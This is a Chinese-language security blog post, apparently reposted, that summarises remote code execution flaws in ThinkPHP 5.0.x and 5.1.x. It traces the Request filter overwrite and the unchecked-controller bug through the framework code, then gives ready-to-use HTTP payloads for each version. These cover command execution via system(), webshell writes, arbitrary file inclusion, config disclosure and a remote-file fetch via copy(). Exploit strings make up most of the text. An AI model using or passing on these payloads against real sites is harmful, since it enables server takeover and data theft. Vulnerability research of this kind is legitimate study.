Thinkphp5 RCE總結


 

thinkphp5最出名的就是rce,我先總結rce,rce有兩個大版本的分別

  1. ThinkPHP 5.0-5.0.24
  2. ThinkPHP 5.1.0-5.1.30

因為漏洞觸發點和版本的不同,導致payload分為多種,其中一些payload需要取決於debug選項
比如直接訪問路由觸發的

5.1.x :

?s=index/thinkRequest/input&filter[]=system&data=pwd
?s=index/thinkviewdriverPhp/display&content=<?php phpinfo();?>
?s=index/thinktemplatedriverfile/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.0.x :

?s=index/thinkconfig/get&name=database.username # 獲取配置信息
?s=index/thinkLang/load&file=../../test.jpg    # 包含任意文件
?s=index/thinkConfig/load&file=../../t.php     # 包含任意.php文件
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index|thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami

還有一種

http://php.local/thinkphp5.0.5/public/index.php?s=index
post
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
_method=__construct&filter[]=system&method=GET&get[]=whoami

# ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system

# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要開啟框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

# ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

可以看到payload分為兩種類型,一種是因為Request類的method__construct方法造成的,另一種是因為Request類在兼容模式下獲取的控制器沒有進行合法校驗,我們下面分兩種來講,然后會將thinkphp5的每個小版本都測試下找下可用的payload。

thinkphp5 method任意調用方法導致rce

php5.4.45+phpstudy+thinkphp5.0.5+phpstorm+xdebug

創建項目

composer create-project topthink/think=5.0.5 thinkphp5.0.5  --prefer-dist

我這邊創建完項目之后拿到的版本不是5.0.5的,如果你的也不是就把compsoer.json里的require字段改為

"require": {
    "php": ">=5.4.0",
    "topthink/framework": "5.0.5"
},
JSON

然后運行compsoer update

漏洞分析

thinkphp/library/think/Request.php:504 Request類的method方法

 

image
 

 

可以通過POST數組傳入__method改變$this->{$this->method}($_POST);達到任意調用此類中的方法。

然后我們再來看這個類中的__contruct方法

protected function __construct($options = [])
{
    foreach ($options as $name => $item) {
        if (property_exists($this, $name)) {
            $this->$name = $item;
        }
    }
    if (is_null($this->filter)) {
        $this->filter = Config::get('default_filter');
    }
    // 保存 php://input
    $this->input = file_get_contents('php://input');
}
PHP

重點是在foreach中,可以覆蓋類屬性,那么我們可以通過覆蓋Request類的屬性

 

image
 

 

這樣filter就被賦值為system()了,在哪調用的呢?我們要追蹤下thinkphp的運行流程
thinkphp是單程序入口,入口在public/index.php,在index.php中

require __DIR__ . '/../thinkphp/start.php';

引入框架的start.php,跟進之后調用了App類的靜態run()方法

 

image
 

 

看下run()方法的定義

public static function run(Request $request = null)
{
    ...省略...
        // 獲取應用調度信息
        $dispatch = self::$dispatch;
    if (empty($dispatch)) {
        // 進行URL路由檢測
        $dispatch = self::routeCheck($request, $config);
    }
    // 記錄當前調度信息
    $request->dispatch($dispatch);

    // 記錄路由和請求信息
    if (self::$debug) {
        Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
        Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
        Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
    }
    ...省略...
        switch ($dispatch['type']) {
            case 'redirect':
                // 執行重定向跳轉
                $data = Response::create($dispatch['url'], 'redirect')->code($dispatch['status']);
                break;
            case 'module':
                // 模塊/控制器/操作
                $data = self::module($dispatch['module'], $config, isset($dispatch['convert']) ? $dispatch['convert'] : null);
                break;
            case 'controller':
                // 執行控制器操作
                $vars = array_merge(Request::instance()->param(), $dispatch['var']);
                $data = Loader::action($dispatch['controller'], $vars, $config['url_controller_layer'], $config['controller_suffix']);
                break;
            case 'method':
                // 執行回調方法
                $vars = array_merge(Request::instance()->param(), $dispatch['var']);
                $data = self::invokeMethod($dispatch['method'], $vars);
                break;
            case 'function':
                // 執行閉包
                $data = self::invokeFunction($dispatch['function']);
                break;
            case 'response':
                $data = $dispatch['response'];
                break;
            default:
                throw new InvalidArgumentException('dispatch type not support');
        }
}
PHP

首先是經過$dispatch = self::routeCheck($request, $config)檢查調用的路由,然后會根據debug開關來選擇是否執行Request::instance()->param(),然后是一個switch語句,當$dispatch等於controller或者method時會執行Request::instance()->param(),只要是存在的路由就可以進入這兩個case分支。

而在 ThinkPHP5 完整版中,定義了驗證碼類的路由地址?s=captcha,默認這個方法就能使$dispatch=method從而進入Request::instance()->param()

我們繼續跟進Request::instance()->param()

 

image
 

 

執行合並參數判斷請求類型之后return了一個input()方法,跟進

 

image
 

 

將被__contruct覆蓋掉的filter字段回調進filterValue(),這個方法我們需要特別關注了,因為 Request 類中的 param、route、get、post、put、delete、patch、request、session、server、env、cookie、input 方法均調用了 filterValue 方法,而該方法中就存在可利用的 call_user_func 函數。跟進

 

image
 

 

call_user_func調用system造成rce。

梳理一下:$this->method可控導致可以調用__contruct()覆蓋Request類的filter字段,然后App::run()執行判斷debug來決定是否執行$request->param(),並且還有$dispatch['type'] 等於controller或者 method 時也會執行$request->param(),而$request->param()會進入到input()方法,在這個方法中將被覆蓋的filter回調call_user_func(),造成rce。

最后借用七月火師傅的一張流程圖

image
 

 

method __contruct導致的rce 各版本payload

一個一個版本測試,測試選項有命令執行、寫shell、debug選項

5.0

debug 無關
命令執行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami

寫shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

5.0.1

debug 無關
命令執行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami

寫shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

5.0.2

debug 無關
命令執行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami

寫shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

5.0.3

debug 無關
命令執行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami

寫shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

5.0.4

debug 無關
命令執行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami

寫shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

5.0.5

debug 無關
命令執行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami

寫shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

5.0.6

debug 無關
命令執行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami

寫shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

5.0.7

debug 無關
命令執行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami

寫shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

5.0.8

debug 無關
命令執行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter

寫shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

5.0.9

debug 無關
命令執行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter

寫shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

5.0.10

從5.0.10開始默認debug=false,debug無關
命令執行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter

寫shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

5.0.11

默認debug=false,debug無關
命令執行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter

寫shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

5.0.12

默認debug=false,debug無關
命令執行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter

寫shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

5.0.13

默認debug=false,需要開啟debug
命令執行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter

寫shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

版本和DEBUG選項的關系

5.0.13版本之后需要開啟debug才能rce,為什么?比較一下5.0.13和5.0.5版本的代碼

https://github.com/top-think/framework/compare/v5.0.5…v5.0.13#diff-d86cf2606459bf4da21b7c3a1f7191f3

可見多了一個exec方法把switch ($dispatch['type'])摘出來了,然后在case module中執行了module(),在module()中多了兩行。

// 設置默認過濾機制
$request->filter($config['default_filter']);

問題就出在這,回顧我們上文分析5.0.5,是從App::run()方法中第一次加載默認filter位置: thinkphp/library/think/App.php

$request->filter($config['default_filter']);

在覆蓋的時候可以看到,默認default_filter是為空字符串,所以最后便是進入了$this->filter = $filter導致system值變為空。

public function filter($filter = null){
        if (is_null($filter)) {
            return $this->filter;
        } else {
            $this->filter = $filter;
        }
}
PHP

接下來就是我們進入了路由check,從而覆蓋filter的值為system

image
 

 

但是在5.0.13中,摘出來的exec()中的module()方法thinkphp/library/think/App.php:544 會重新執行一次$request->filter($config['default_filter']); 把我們覆蓋好的system重新變為了空,導致失敗。

那為什么開了debug就可以rce?

image
 


這里會先調用$request->param(),然后在執行self::exec($dispatch, $config),造成rce。

 

那有沒有別的辦法不開debug直接rce呢?
和debug的原理一樣,switch的時候進入module分支會被覆蓋,那就進入到其他的分支。

image
 


在thinkphp5完整版中官網揉進去了一個驗證碼的路由,可以通過這個路由觸發rce

 

這個是我在5.0.13下試出來的payload "topthink/think-captcha": "^1.0"

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET

我們繼續

5.0.13補充

補充
有captcha路由時無需debug=true

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET

5.0.14

默認debug=false,需要開啟debug
命令執行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter

寫shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

有captcha路由時無需debug=true

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET

5.0.15

默認debug=false,需要開啟debug
命令執行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter

寫shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

有captcha路由時無需debug=true

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET

5.0.16

默認debug=false,需要開啟debug
命令執行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter

寫shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

有captcha路由時無需debug=true

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET

5.0.17

默認debug=false,需要開啟debug
命令執行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter

寫shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

有captcha路由時無需debug=true

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET

5.0.18

默認debug=false,需要開啟debug
命令執行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter

寫shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

有captcha路由時無需debug=true

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET

5.0.19

默認debug=false,需要開啟debug
命令執行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter

寫shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

有captcha路由時無需debug=true

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET

5.0.20

默認debug=false,需要開啟debug
命令執行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter

寫shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

有captcha路由時無需debug=true

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET

5.0.21

默認debug=false,需要開啟debug
命令執行

POST ?s=index/index
_method=__construct&filter[]=system&server[REQUEST_METHOD]=calc

寫shell

POST
_method=__construct&filter[]=assert&server[REQUEST_METHOD]=file_put_contents('Y4er.php','<?php phpinfo();')

有captcha路由時無需debug=true

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET
POST ?s=captcha
_method=__construct&filter[]=system&server[REQUEST_METHOD]=calc&method=get

5.0.22

默認debug=false,需要開啟debug
命令執行

POST ?s=index/index
_method=__construct&filter[]=system&server[REQUEST_METHOD]=calc

寫shell

POST
_method=__construct&filter[]=assert&server[REQUEST_METHOD]=file_put_contents('Y4er.php','<?php phpinfo();')

有captcha路由時無需debug=true

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET
POST ?s=captcha
_method=__construct&filter[]=system&server[REQUEST_METHOD]=calc&method=get

5.0.23

默認debug=false,需要開啟debug
命令執行

POST ?s=index/index
_method=__construct&filter[]=system&server[REQUEST_METHOD]=calc

寫shell

POST
_method=__construct&filter[]=assert&server[REQUEST_METHOD]=file_put_contents('Y4er.php','<?php phpinfo();')

有captcha路由時無需debug=true

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET
POST ?s=captcha
_method=__construct&filter[]=system&server[REQUEST_METHOD]=calc&method=get

5.0.24

作為5.0.x的最后一個版本,rce被修復

5.1.0

默認debug為true
命令執行

POST ?s=index/index
_method=__construct&filter[]=system&method=GET&s=calc

寫shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

有captcha路由時無需debug=true
"topthink/think-captcha": "2.*"

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET
POST ?s=captcha
_method=__construct&filter[]=system&s=calc&method=get

5.1.1

命令執行

POST ?s=index/index
_method=__construct&filter[]=system&method=GET&s=calc

寫shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

有captcha路由時無需debug=true

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET
POST ?s=captcha
_method=__construct&filter[]=system&s=calc&method=get

至此,不再一個一個版本測了,費時費力。
基於__construct的payload大部分出現在5.0.x及低版本的5.1.x中。下文分析另一種rce。

未開啟強制路由導致rce

這種rce的payload多形如

?s=index/thinkRequest/input&filter[]=system&data=pwd
?s=index/thinkviewdriverPhp/display&content=<?php phpinfo();?>
?s=index/thinktemplatedriverfile/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

環境

"require": {
    "php": ">=5.6.0",
    "topthink/framework": "5.1.29",
    "topthink/think-captcha": "2.*"
},
JSON

分析

 

image
 


thinkphp默認沒有開啟強制路由,而且默認開啟路由兼容模式。那么我們可以用兼容模式來調用控制器,當沒有對控制器過濾時,我們可以調用任意的方法來執行。上文提到所有用戶參數都會經過 Request 類的 input 方法處理,該方法會調用 filterValue 方法,而 filterValue 方法中使用了 call_user_func ,那么我們就來嘗試利用這個方法。訪問

 

http://php.local/thinkphp5.1.30/public/?s=index/thinkRequest/input&filter[]=system&data=whoami

打斷點跟進到thinkphp/library/think/App.php:402

 

image
 

 

routeCheck()返回$dispatch是將 / 用 | 替換

 

image
 

 

然后進入init()

public function init()
    {
        // 解析默認的URL規則
        $result = $this->parseUrl($this->dispatch);

        return (new Module($this->request, $this->rule, $result))->init();
    }
PHP

進入parseUrl()

 

image
 

 

進入parseUrlPath()

 

image
 

 

在此處從url中獲取[模塊/控制器/操作],導致parseUrl()返回的route為

image
 

 

導致thinkphp/library/think/App.php:406$dispatch

 

image
 

 

直接調用了input()函數,然后會執行到 App 類的 run 方法,進而調用 Dispatch 類的 run 方法,該方法會調用關鍵函數 exec thinkphp/library/think/route/dispatch/Module.php:84,進而調用反射類

image
 

 

此時反射類的參數均可控,調用input()

 

image
 

 

在進入input()之后繼續進入$this->filterValue()

 

image
 

 

跟進后執行call_user_func(),實現rce

 

image
 


整個流程中沒有對控制器進行合法校驗,導致可以調用任意控制器,實現rce。

 

修復

// 獲取控制器名
$controller = strip_tags($result[1] ?: $config['default_controller']);

if (!preg_match('/^[A-Za-z](w|.)*$/', $controller)) {
    throw new HttpException(404, 'controller not exists:' . $controller);
}

大於5.0.23、大於5.1.30獲取時使用正則匹配校驗

payload

命令執行

5.0.x
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
5.1.x
?s=index/thinkRequest/input&filter[]=system&data=pwd
?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

寫shell

5.0.x
?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=copy(%27遠程地址%27,%27333.php%27)
5.1.x
?s=index/thinktemplatedriverfile/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/thinkviewdriverThink/display&template=<?php phpinfo();?>             //shell生成在runtime/temp/md5(template).php
?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=copy(%27遠程地址%27,%27333.php%27)

其他

5.0.x
?s=index/thinkconfig/get&name=database.username # 獲取配置信息
?s=index/thinkLang/load&file=../../test.jpg    # 包含任意文件
?s=index/thinkConfig/load&file=../../t.php     # 包含任意.php文件

如果你碰到了控制器不存在的情況,是因為在tp獲取控制器時,thinkphp/library/think/App.php:561會把url轉為小寫,導致控制器加載失敗。

image
 

 

總結

其實thinkphp的rce差不多都被攔截了,我們其實更需要將rce轉化為其他姿勢,比如文件包含去包含日志,或者轉向反序列化。姿勢太多,總結不過來,這篇文章就到這里把。

參考

  • https://xz.aliyun.com/t/6106
  • https://www.cnblogs.com/iamstudy/articles/thinkphp_5_x_rce_1.html
  • https://github.com/Mochazz/ThinkPHP-Vuln
  • https://xz.aliyun.com/search?keyword=thinkphp
  • https://github.com/Lucifer1993/TPscan
  • https://www.kancloud.cn/manual/thinkphp5_1/353946
  • https://www.kancloud.cn/manual/thinkphp5
  • https://github.com/top-think/thinkphp


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM